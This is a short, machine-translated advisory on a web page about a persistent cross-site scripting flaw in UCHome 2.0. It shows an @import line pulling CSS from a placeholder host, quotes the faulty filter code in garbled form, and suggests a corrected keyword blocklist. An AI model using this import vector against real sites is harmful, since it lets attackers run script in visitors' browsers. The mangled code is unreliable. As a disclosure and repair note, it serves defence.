Uchome 2.0 persistent XSS Cross-Site vulnerability and repair

Source: Internet
Author: User

When customizing the style of a personal homepage, You Can @ import an external css file.

The following tests IE6, IE7, and IE8 passed in uchome simplified UTF-8 2.0.
@ Import url (http://xxx.com/1.css); contains a remote cssfile that can be written to XSS in 1.css.
Analysis Code cp_theme.php 92 (17 lines)

 

Function checksecurity ($ str) {// execute a series of filters to verify whether the CSS $ filter = array (// * [] * (. +?) is valid ?) [] ** // Is,/[^ a-z0-9] +/I,); $ str = preg_replace ($ filter, $ str); // The filter is filtered, but it is only used for judgment and does not work for source input. if (preg_match ("/(expression | implode | javascript)/I", $ str )) {// The showmessage (css_contains_elements_of_insecurity) is not checked for import and http;} return true ;}

Solution: implode should be an import error.
Suggestions

/(Expression | vbscript | javascript | import)/I

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.